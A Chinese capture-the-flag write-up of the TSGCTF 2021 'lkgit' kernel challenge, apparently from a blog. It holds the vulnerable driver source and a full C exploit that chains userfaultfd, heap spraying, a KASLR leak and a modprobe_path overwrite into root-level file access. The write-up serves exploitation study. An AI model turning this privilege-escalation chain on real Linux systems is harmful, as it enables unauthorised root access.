【userfaultfd+条件竞争劫持modprobe_path】TSGCTF 2021 -- lkgit

前言

入门题，单纯就是完成每日一道 kernel pwn 的 kpi 😀

题目分析

  • 内核版本：v5.10.25，可以使用 userfaultfd，不存在 cg 隔离
  • 开启了 smap/smep/kaslr/kpti 保护
  • 开启了 SLAB_HADNERN/RANDOM 保护

题目给了源码，其实现了一个 light git？总的来说，整个过程都没有上锁，所以对应临界区资源存在竞争漏洞：

#include <linux/errno.h>
#include <linux/fs.h>
#include <linux/miscdevice.h>
#include <linux/module.h>
#include <linux/miscdevice.h>
#include <linux/slab.h>
#include"../include/lkgit.h"

hash_object *objects[HISTORY_MAXSZ] = {0}; // HISTORY_MAXSZ = 0x30 

static int find_by_hash(char *hash) {
	int ix;
	for (ix = 0; ix != HISTORY_MAXSZ; ++ix) {
		if (objects[ix] != NULL && memcmp(hash, objects[ix]->hash, HASH_SIZE) == 0)
			return ix;
	}
	return -1;
}

static void get_hash(char *content, char *buf) {
	int ix,jx;
	unsigned unit = FILE_MAXSZ / HASH_SIZE;
	char c;
	for (ix = 0; ix != HASH_SIZE; ++ix) {
		c = 0;
		for(jx = 0; jx != unit; ++jx) {
			c ^= content[ix * unit + jx];
		}
		buf[ix] = c;
	}
}

static long save_object(hash_object *obj) {
	int ix;
	int dup_ix;
	// first, find conflict of hash
	// 对应 hash 的 object 是否已经存在，存在则释放掉
	if((dup_ix = find_by_hash(obj->hash)) != -1) {
		// 仅仅释放了 hash_object，里面的 content/message 指针都没有释放（:存在内存泄漏问题，但是与漏洞利用无关
		kfree(objects[dup_ix]);
		objects[dup_ix] = NULL;
	}
	// assign object
	// 存储 object
	for (ix = 0; ix != HISTORY_MAXSZ; ++ix) {
		if (objects[ix] == NULL) {
			objects[ix] = obj;
			return 0;
		}
	}
	return -LKGIT_ERR_UNKNOWN;
}

static long lkgit_hash_object(hash_object *reqptr) {
	long ret = -LKGIT_ERR_UNKNOWN;
	char *content_buf = kzalloc(FILE_MAXSZ, GFP_KERNEL); // 0x40
	char *message_buf = kzalloc(MESSAGE_MAXSZ, GFP_KERNEL); // 0x20
	hash_object *req = kzalloc(sizeof(hash_object), GFP_KERNEL); // 0x20
	if (IS_ERR_OR_NULL(content_buf) || IS_ERR_OR_NULL(message_buf) || IS_ERR_OR_NULL(req))
		goto end;

	if (copy_from_user(req, reqptr, sizeof(hash_object)))
		goto end;

	if (copy_from_user(content_buf, req->content, FILE_MAXSZ)
		|| copy_from_user(message_buf, req->message, MESSAGE_MAXSZ))
		goto end;

	req->content = content_buf;
	req->message = message_buf;
	// 计算 content_buf 的 hash，结果存储在 req->hash 中
	// content_buf 的大小为 64，hash 的大小为 16
	// 所以这里 hash[idx] = content_buf[i] ^ content_buf[i+1] ^ content_buf[i+2] ^ content_buf[i+3]
	get_hash(content_buf, req->hash);
	// 返回用户 hash 值
	if (copy_to_user(reqptr->hash, req->hash, HASH_SIZE)) {
		goto end;
	}

	ret = save_object(req);

end:
  return ret;
}

static long lkgit_get_object(log_object *req) {
	long ret = -LKGIT_ERR_OBJECT_NOTFOUND;
	char hash_other[HASH_SIZE] = {0};
	char hash[HASH_SIZE];
	int target_ix;
	hash_object *target;
	if (copy_from_user(hash, req->hash, HASH_SIZE))
		goto end;
	
	if ((target_ix = find_by_hash(hash)) != -1) {
		target = objects[target_ix];
		// 返回 content 给用户
		if (copy_to_user(req->content, target->content, FILE_MAXSZ))
			goto end;

		// validity check of hash
		// 检查 hash
		get_hash(target->content, hash_other);
		if (memcmp(hash, hash_other, HASH_SIZE) != 0)
			goto end;
		
		if (copy_to_user(req->message, target->message, MESSAGE_MAXSZ)) // <=========== stop to bypass kaslr
			goto end;
		if (copy_to_user(req->hash, target->hash, HASH_SIZE))
			goto end;
		ret = 0;
	}

end:
	return ret;
}

static long lkgit_amend_message(log_object *reqptr) {
	long ret = -LKGIT_ERR_OBJECT_NOTFOUND;
	char buf[MESSAGE_MAXSZ];
	log_object req = {0};
	int target_ix;
	hash_object *target;
	if(copy_from_user(&req, reqptr->hash, HASH_SIZE))
		goto end;

	if ((target_ix = find_by_hash(req.hash)) != -1) {
		target = objects[target_ix];
		// save message temporarily
		// 修改 message
		if (copy_from_user(buf, reqptr->message, MESSAGE_MAXSZ)) // <============== stop to arb_write
			goto end;
		// return old information of object
		ret = lkgit_get_object(reqptr);
		// amend message
		memcpy(target->message, buf, MESSAGE_MAXSZ);
	}

	end:
		return ret;
}

static long lkgit_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {
	switch(cmd){
		case LKGIT_HASH_OBJECT:
			return lkgit_hash_object((hash_object *)arg);
		case LKGIT_GET_OBJECT:
			return lkgit_get_object((log_object*)arg);
		case LKGIT_AMEND_MESSAGE:
			return lkgit_amend_message((log_object*)arg);
		default:
			return -LKGIT_ERR_UNIMPLEMENTED;
		};
}

static const struct file_operations lkgit_fops = {
	.owner = THIS_MODULE,
	.unlocked_ioctl = lkgit_ioctl,
};

static struct miscdevice lkgit_device = {
	.minor = MISC_DYNAMIC_MINOR,
	.name = "lkgit",
	.fops = &lkgit_fops,
};

static int __init lkgit_init(void) {
	return misc_register(&lkgit_device);
}

static void __exit lkgit_exit(void) {
	misc_deregister(&lkgit_device);
}

module_init(lkgit_init);
module_exit(lkgit_exit);
MODULE_AUTHOR("TSGCTF");
MODULE_LICENSE("GPL");

题目主要维护的结构体如下：

typedef struct {
  char hash[HASH_SIZE];
  char *content;
  char *message;
} hash_object;

typedef struct {
  char hash[HASH_SIZE];
  char content[FILE_MAXSZ];
  char message[MESSAGE_MAXSZ];
} log_object;

通过源码可以看到，这里保存的是 hash_object 结构体，然后 content => kmalloc-64，message => kmalloc-32，hash_object => kmalloc-32，所以这里 message / hash_object 在同一个 slab-cache 中

然后通过源码可以发现，对堆块的释放仅仅在 save_object 函数中存在：

static long save_object(hash_object *obj) {
	int ix;
	int dup_ix;
	// first, find conflict of hash
	// 对应 hash 的 object 是否已经存在，存在则释放掉
	if((dup_ix = find_by_hash(obj->hash)) != -1) {
		// 仅仅释放了 hash_object，里面的 content/message 指针都没有释放（:存在内存泄漏问题，但是与漏洞利用无关
		kfree(objects[dup_ix]);
		objects[dup_ix] = NULL;
	}
	// assign object
	// 存储 object
	for (ix = 0; ix != HISTORY_MAXSZ; ++ix) {
		if (objects[ix] == NULL) {
			objects[ix] = obj;
			return 0;
		}
	}
	return -LKGIT_ERR_UNKNOWN;
}

而且这里只是释放了 hash_object，而 content / message 对应的内存都没有释放（：这里其实也算是一个 bug。而 save_object 是在 lkgit_hash_object 中调用的，每次保存创建的 hash_object 时，都会检查 objects 数组中是否存在相同 hash 的 hash_object，如果存在则会把原来的释放掉

而前面说了，整个过程都没有上锁，所以可以在执行其它操作时，在 save_object 中将原来的 hash_object 释放掉，这时可能会导致 UAF

漏洞利用

题目开启了 kaslr，所以第一步就是去 bypass kaslr，这里主要利用 lkgit_get_object 函数：

static long lkgit_get_object(log_object *req) {
	long ret = -LKGIT_ERR_OBJECT_NOTFOUND;
	char hash_other[HASH_SIZE] = {0};
	char hash[HASH_SIZE];
	int target_ix;
	hash_object *target;
	if (copy_from_user(hash, req->hash, HASH_SIZE))
		goto end;
	
	if ((target_ix = find_by_hash(hash)) != -1) {
		target = objects[target_ix];
		// 返回 content 给用户
		if (copy_to_user(req->content, target->content, FILE_MAXSZ))
			goto end;

		// validity check of hash
		// 检查 hash
		get_hash(target->content, hash_other);
		if (memcmp(hash, hash_other, HASH_SIZE) != 0)
			goto end;
		
		if (copy_to_user(req->message, target->message, MESSAGE_MAXSZ)) // 【1】 <=========== stop to bypass kaslr
			goto end;
		if (copy_to_user(req->hash, target->hash, HASH_SIZE)) // 【2】
			goto end;
		ret = 0;
	}

end:
	return ret;
}

这里用户传入的是 log_object 结构体：

typedef struct {
  char hash[HASH_SIZE];
  char content[FILE_MAXSZ];
  char message[MESSAGE_MAXSZ];
} log_object;

我们可以在【1】处使用 userfaultfd 使得暂停，然后释放掉 target，在堆喷 seq_operations 占据释放后的 target，那么恢复执行后，在【2】处就可以泄漏 kbase（：此时复制的 hash 就是 seq_operations 的前 0x10 字节

后面笔者打的是 modprobe_path，这里主要利用 lkgit_amend_message 函数：

static long lkgit_amend_message(log_object *reqptr) {
	long ret = -LKGIT_ERR_OBJECT_NOTFOUND;
	char buf[MESSAGE_MAXSZ];
	log_object req = {0};
	int target_ix;
	hash_object *target;
	if(copy_from_user(&req, reqptr->hash, HASH_SIZE))
		goto end;

	if ((target_ix = find_by_hash(req.hash)) != -1) {
		target = objects[target_ix];
		// save message temporarily
		// 修改 message
		if (copy_from_user(buf, reqptr->message, MESSAGE_MAXSZ)) // 【1】<============== stop to arb_write
			goto end;
		// return old information of object
		ret = lkgit_get_object(reqptr);
		// amend message
		memcpy(target->message, buf, MESSAGE_MAXSZ); // 【2】
	}

	end:
		return ret;
}

同样的道理，在【1】处利用 userfaultfd 使其暂停下来，然后释放掉 target，此时堆喷 user_key_payload，并伪造 message 字段为 modprobe_path，那么恢复执行后，在 【2】处就是往 modprobe_path 中写入数据

最后 exp 如下：

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>

void err_exit(char *msg)
{
        perror(msg);
        sleep(2);
    exit(EXIT_FAILURE);
}

void fail_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
        sleep(2);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

#define LKGIT_HASH_OBJECT         0xdead0001
#define LKGIT_AMEND_MESSAGE       0xdead0003
#define LKGIT_GET_OBJECT          0xdead0004

#define LKGIT_ERR_UNIMPLEMENTED   0xdead1000
#define LKGIT_ERR_OBJECT_NOTFOUND 0xdead1001
#define LKGIT_ERR_UNKNOWN         0xdead1100

#define FILE_MAXSZ                0x40
#define MESSAGE_MAXSZ             0x20
#define HISTORY_MAXSZ             0x30

#define HASH_SIZE                 0x10

typedef struct {
  char hash[HASH_SIZE];
  char *content;
  char *message;
} hash_object;

typedef struct {
  char hash[HASH_SIZE];
  char content[FILE_MAXSZ];
  char message[MESSAGE_MAXSZ];
} log_object;

int fd;
uint64_t kbase;
uint64_t koffset;
char ghash[HASH_SIZE];
char gcontent[FILE_MAXSZ];
char gmessage[MESSAGE_MAXSZ];

void add(char* hash, char* content, char* message) {
        hash_object o = { .content = content, .message = message };
        ioctl(fd, LKGIT_HASH_OBJECT, &o);
        memcpy(hash, o.hash, HASH_SIZE);
}

void show(char* hash, char* content, char* message) {
        log_object o = { 0 };
        memcpy(o.hash, hash, HASH_SIZE);
        ioctl(fd, LKGIT_GET_OBJECT, &o);
        memcpy(content, o.content, FILE_MAXSZ);
//      memcpy(message, o.message, MESSAGE_MAXSZ);
}

void amend(char* hash, char* content, char* message) {
        log_object o = { 0 };
        memcpy(o.hash, hash, HASH_SIZE);
        memcpy(o.message, message, MESSAGE_MAXSZ);
        ioctl(fd, LKGIT_GET_OBJECT, &o);
        memcpy(content, o.content, FILE_MAXSZ);
}

int key_alloc(char *description, char *payload, size_t plen)
{
    return syscall(__NR_add_key, "user", description, payload, plen,
                   KEY_SPEC_PROCESS_KEYRING);
}

void register_userfaultfd(pthread_t* moniter_thr, void* addr, long len, void* handler)
{
        long uffd;
        struct uffdio_api uffdio_api;
        struct uffdio_register uffdio_register;

        uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
        if (uffd < 0) perror("[X] syscall for __NR_userfaultfd"), exit(-1);

        uffdio_api.api = UFFD_API;
        uffdio_api.features = 0;
        if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) puts("[X] ioctl-UFFDIO_API"), exit(-1);

        uffdio_register.range.start = (long long)addr;
        uffdio_register.range.len = len;
        uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
        if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) puts("[X] ioctl-UFFDIO_REGISTER"), exit(-1);

        if (pthread_create(moniter_thr, NULL, handler, (void*)uffd) < 0)
                puts("[X] pthread_create at register_userfaultfd"), exit(-1);
}

char copy_src[0x1000];
void* handler1(void* arg)
{
        struct uffd_msg msg;
        struct uffdio_copy uffdio_copy;
        long uffd = (long)arg;

        for(;;)
        {
                int res;
                struct pollfd pollfd;
                pollfd.fd = uffd;
                pollfd.events = POLLIN;
                if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);

                res = read(uffd, &msg, sizeof(msg));
                if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
                if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
                if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);

                puts("[+] Now in userfaultfd handler1");
                #define SEQ_NUMS 0x30
                int seq_fds[SEQ_NUMS];
                memset(gcontent, 0, FILE_MAXSZ);
                add(ghash, gcontent, gmessage);

                for (int i = 0; i < 0x20; i++) {
                        seq_fds[i] = open("/proc/self/stat", O_RDONLY);
                        if (seq_fds[i] < 0) err_exit("open /proc/self/stat");
                }

                uffdio_copy.src = (long long)copy_src;
                uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
                uffdio_copy.len = 0x1000;
                uffdio_copy.mode = 0;
                uffdio_copy.copy = 0;
                if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
        }
}

void* handler2(void* arg)
{
        struct uffd_msg msg;
        struct uffdio_copy uffdio_copy;
        long uffd = (long)arg;

        for(;;)
        {
                int res;
                struct pollfd pollfd;
                pollfd.fd = uffd;
                pollfd.events = POLLIN;
                if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);

                res = read(uffd, &msg, sizeof(msg));
                if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
                if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
                if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);

                puts("[+] Now in userfaultfd handler2");
                #define KEY_NUMS 0x30
                char desc[0x10];
                uint64_t buf[4];
                int key_ids[KEY_NUMS];
                buf[0]=buf[1]=buf[2]=buf[3]= koffset + 0xffffffff81c3cb20;
                memset(ghash, 0, HASH_SIZE);
                memcpy(gcontent, "ABCD", 4);
                add(ghash, gcontent, gmessage);

                for (int i = 0; i < KEY_NUMS; i++) {
                        sprintf(desc, "%s%d", "k", i);
                        key_ids[i] = key_alloc(desc, buf, 8);
                        if (key_ids[i] < 0) err_exit("key_alloc");
                }

                memcpy(copy_src, "/tmp/x", strlen("/tmp/x"));

                uffdio_copy.src = (long long)copy_src;
                uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
                uffdio_copy.len = 0x1000;
                uffdio_copy.mode = 0;
                uffdio_copy.copy = 0;
                if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
        }
}

void get_flag(){
        system("echo -ne '#!/bin/sh\n/bin/chmod 777 /home/user/flag' > /tmp/x");
        system("chmod +x /tmp/x");
        system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
        system("chmod +x /tmp/dummy");
        system("/tmp/dummy");
        sleep(0.3);
        system("cat /home/user/flag");
        exit(0);
}

int main(int argc, char** argv, char** envp)
{
        bind_core(0);
        char buf[0x1000] = { 0 };
        char hash[HASH_SIZE] = { 0 };
        char content[FILE_MAXSZ] = { 0 };
        char message[MESSAGE_MAXSZ] = { 0 };
        pthread_t thr1, thr2;
        char* uffd1_buf, *uffd2_buf;
        fd = open("/dev/lkgit", O_RDONLY);
        if (fd < 0) err_exit("open /dev/lkgit");

        uffd1_buf = mmap(NULL, 0x2000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
        uffd2_buf = mmap(NULL, 0x2000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
        if (uffd1_buf == MAP_FAILED || uffd2_buf == MAP_FAILED) err_exit("mmap for uffd_buf");

        register_userfaultfd(&thr1, uffd1_buf+0x1000, 0x1000, handler1);
        register_userfaultfd(&thr2, uffd2_buf+0x1000, 0x1000, handler2);
        memset(content, 0, FILE_MAXSZ);
        add(hash, content, message);

        log_object* o = (log_object*)(uffd1_buf + 0x1000 - HASH_SIZE - FILE_MAXSZ);
        memcpy(o->hash, hash, HASH_SIZE);
        ioctl(fd, LKGIT_GET_OBJECT, o);
        binary_dump("LEAK DATA", o->hash, HASH_SIZE);

        koffset = *(uint64_t*)(o->hash);
        if (koffset&0xfff != 0xc20) fail_exit("bypase kaslr");
        koffset -= 0xffffffff811adc20;
        kbase = 0xffffffff81000000 + koffset;
        printf("[+] koffset:  %#llx\n", koffset);

        memcpy(content, "ABCD", 4);
        add(hash, content, message);

        o = (log_object*)(uffd2_buf + 0x1000 - HASH_SIZE - FILE_MAXSZ);
        memcpy(o->hash, hash, HASH_SIZE);
        ioctl(fd, LKGIT_AMEND_MESSAGE, o);

        get_flag();
        puts("[+] EXP NERVER END");
        return 0;
}

效果如下：
在这里插入图片描述

总结

题目比较简单，userfaultfd 的艺术其实基本用不了了，但是我发现我越来越依赖 modprobe_path 了，然后 user_key_payload 真是一个比较完美的堆喷对象

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：/a/616326.html

如若内容造成侵权/违法违规/事实不符，请联系我们进行投诉反馈qq邮箱809451989@qq.com，一经查实，立即删除！

相关文章

使用IDA自带python patch的一道例题

使用IDA自带python patch的一道例题

首先看见就是迷宫 迷宫解出的路径&#xff0c;放在zip的文件可以得到一个硬编码 然后在原程序中&#xff0c;有一处很离谱 这个debugbreak就是IDA分析错误导致的 我们点进去发现里面全是nop 然后我们把我们得到的硬编码放在010里面&#xff0c;再用IDA打开 重新编译看汇编 你…
阅读更多...
Python---Numpy万字总结（2）

Python---Numpy万字总结（2）

NumPy的应用&#xff08;2&#xff09; 数组对象的方法 获取描述统计信息 描述统计信息主要包括数据的集中趋势、离散程度和频数分析等&#xff0c;其中集中趋势主要看均值和中位数&#xff0c;离散程度可以看极值、方差、标准差等 array1 np.random.randint(1, 100, 10) …
阅读更多...
音视频--AAC编码解析和示例

音视频--AAC编码解析和示例

目录 1&#xff1a;AAC编码介绍 2&#xff1a;AAC格式介绍 3&#xff1a;AAC -ADTS帧组成 4&#xff1a;AAC-ADTS&#xff1a;&#xff08;adts_fixed_header&#xff09;格式介绍 5&#xff1a;AAC-ADTS&#xff1a;&#xff08;adts_variable_header&#xff09;格式介绍…
阅读更多...
符合Misra C++标准且支持mmap的内存池管理模块

符合Misra C++标准且支持mmap的内存池管理模块

概述 定义内存管理的相关行为。使用了预分配的管理&#xff0c;先分配一块足够大的内存&#xff0c;然后需要时再从这块内存中进行分配。 代码仓库&#xff1a;https://gitee.com/liudegui/mem_pool 类之间的关系 模块名功能MemPool内存池模块入口&#xff0c;提供常用的模块…
阅读更多...
HDFS- DataNode磁盘扩缩容

HDFS- DataNode磁盘扩缩容

HDFS- DataNode磁盘扩缩容 背景： 缩减/增加节点磁盘 方案介绍： 采用hdfs dfsadmin -reconfig 动态刷新配置实现，不停服扩缩容。 注意事项： 请在进行缩容之前，务必了解实际的数据量，并确保磁盘有足够的空间来容纳这些数据。还需要考虑未来的使用需求，要预留一定数量的空间…
阅读更多...
面向电商家居行业3D室内场景合成中的空间感知

面向电商家居行业3D室内场景合成中的空间感知

本文主要介绍了3D场景合成技术在电商领域&#xff0c;尤其是家居家装行业的应用。它解释了如何使用3D场景合成创建逼真的室内设计&#xff0c;让消费者能够交互式地查看和体验产品&#xff0c;提高购物的趣味性和效率。文章提到了两种主要的3D室内场景生成算法&#xff1a;传统…
阅读更多...
Curator分布式锁

Curator分布式锁

系列文章目录 文章目录 系列文章目录前言 前言 前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到网站&#xff0c;这篇文章男女通用&#xff0c;看懂了就去分享给你的码吧。 分布式锁服务宕机,…
阅读更多...
RZ9692实训开发通信系统构建（含配置json配置文件）

RZ9692实训开发通信系统构建（含配置json配置文件）

实验名称 通信系统的构建 实验目的&#xff1a; 实现一个通信系统的构建&#xff0c;要求传输两路正弦波&#xff0c;和一路视频信号&#xff0c;要求在接受端完整接受正弦信号和视频信号。 一、实验原理&#xff1a; 数字通信系统的一般模型&#xff1a; 数字通信系统的一…
阅读更多...
验证搜索二叉树

验证搜索二叉树

目录 题目 方法一 思路 优化 方法二 思维误区 递归关系推导 代码实现 题目 98. 验证二叉搜索树 难度&#xff1a;中等 给你一个二叉树的根节点root &#xff0c;判断其是否是一个有效的二叉搜索树。 有效 二叉搜索树定义如下&#xff1a; 节点的左子树只包含…
阅读更多...
Python 开发 框架安全：Django SQL注入漏洞测试.（CVE-2021-35042）

Python 开发 框架安全：Django SQL注入漏洞测试.（CVE-2021-35042）

什么是 Django 框架 Django 是一个用 Python 编写的 Web 应用程序框架。它提供了许多工具和库&#xff0c;使得开发 Web 应用程序变得更加容易和高效。Django 遵循了“MTV”&#xff08;模型-模板-视图&#xff09;的设计模式&#xff0c;将应用程序的不同组件分离开来&#x…
阅读更多...
QT的C++版本是如何从ui文件编译成C++可以使用的.h文件的

QT的C++版本是如何从ui文件编译成C++可以使用的.h文件的

Desktop_Qt_6_7_0_MinGW_64_bit是一个编译器&#xff0c;可以将ui文件编译为.h文件。我们可以在项目文件下看到这一样一个文件&#xff1a; 这里的ui_mainwindow.h文件我们可以打开看一下&#xff1a;你会发现你所有的ui设计都被记录在了这里。 /***************************…
阅读更多...
最新网页版USB转串口芯片CH340中文规格书手册(20240511)

最新网页版USB转串口芯片CH340中文规格书手册(20240511)

前言 南京沁恒的产品已经很成熟了&#xff0c;完全可替代国外USB转串口产品&#xff0c;不必迷信FT232&#xff0c;CP2102之类了。 另外&#xff0c;急着买芯片&#xff0c;直接跑过去的&#xff0c;看过几次妹子了:) CH340手册&#xff0c;基于网页3.3版本&#xff0c;规格书…
阅读更多...
作为一名新能源汽车热管理仿真工程师需要具备哪些素养与技能

作为一名新能源汽车热管理仿真工程师需要具备哪些素养与技能

作为一名新能源汽车热管理仿真工程师&#xff0c;需要具备多方面的素养与技能&#xff0c;才能胜任这一岗位的工作。从工程素养到技术技能&#xff0c;再到沟通能力和团队合作&#xff0c;以下是对这些方面的探讨。 理论知识基础 首先&#xff0c;工程素养是新能源汽车热管理仿…
阅读更多...
现代制造之数控机床篇

现代制造之数控机床篇

现代制造 有现代技术支撑的制造业&#xff0c;即无论是制造还是服务行业&#xff0c;添了现代两个字不过是因为有了现代科学技术的支撑&#xff0c;如发达的通信方式&#xff0c;不断发展的互联网&#xff0c;信息化程度加强了&#xff0c;因此可以为这两个行业增加了不少优势…
阅读更多...
Spring-Cloud-OpenFeign源码解析-01-OpenFeign简介

Spring-Cloud-OpenFeign源码解析-01-OpenFeign简介

OpenFeign简介 OpenFeign是一种声明式、模板化的HTTP客户端(仅在Application Client中使用)。声明式调用是指&#xff0c;就像调用本地方法一样调用远程方法&#xff0c;无需感知操作远程http请求。 OpenFeign和Feign的区别 Feign是Spring Cloud组件中一个轻量级RESTful的HT…
阅读更多...
[算法][差分][延迟相差][leetcode]2960. 统计已测试设备

[算法][差分][延迟相差][leetcode]2960. 统计已测试设备

题目地址&#xff1a; https://leetcode.cn/problems/count-tested-devices-after-test-operations/description/ 解法一&#xff1a;暴力解法 class Solution {public int countTestedDevices(int[] batteryPercentages) {//特殊条件判断if(null batteryPercentages || ba…
阅读更多...
图论（洛谷刷题）

图论（洛谷刷题）

目录 前言&#xff1a; 题单&#xff1a; P3386 【模板】二分图最大匹配 P1525 [NOIP2010 提高组] 关押罪犯 P3385 【模板】负环 P3371 【模板】单源最短路径&#xff08;弱化版&#xff09; SPFA写法 Dij写法&#xff1a; P3385 【模板】负环 P5960 【模板】差分约束…
阅读更多...
深度解析Nginx：高性能Web服务器的奥秘（上）

深度解析Nginx：高性能Web服务器的奥秘（上）

&#x1f407;明明跟你说过&#xff1a;个人主页 &#x1f3c5;个人专栏&#xff1a;《洞察之眼&#xff1a;ELK监控与可视化》&#x1f3c5; &#x1f516;行路有良友&#xff0c;便是天堂&#x1f516; 目录 一、前言 1、Nginx概述 2、Nginx的历史与发展 3、Nginx的…
阅读更多...
Kubernetes学习-深入Pod篇(一) 创建Pod，Pod配置文件详解

Kubernetes学习-深入Pod篇(一) 创建Pod，Pod配置文件详解

&#x1f3f7;️个人主页&#xff1a;牵着猫散步的鼠鼠 &#x1f3f7;️系列专栏&#xff1a;Kubernetes渐进式学习-专栏 &#x1f3f7;️个人学习笔记&#xff0c;若有缺误&#xff0c;欢迎评论区指正 1.前言 我们在前面的文章讲解了Kubernetes的核心概念和服务部署&#x…
阅读更多...
ViLT 浅析

ViLT 浅析

ViLT 浅析 论文链接&#xff1a;ViLT 文章目录 ViLT 浅析创新点网络结构总结 创新点 本文先分析了4种不同类型的Vision-and-Language Pretraining(VLP) 其中每个矩形的高表示相对计算量大小&#xff0c;VE、TE和MI分别是visual embedding、text embedding和modality interact…
阅读更多...
最新文章

Copyright @ 2022~2023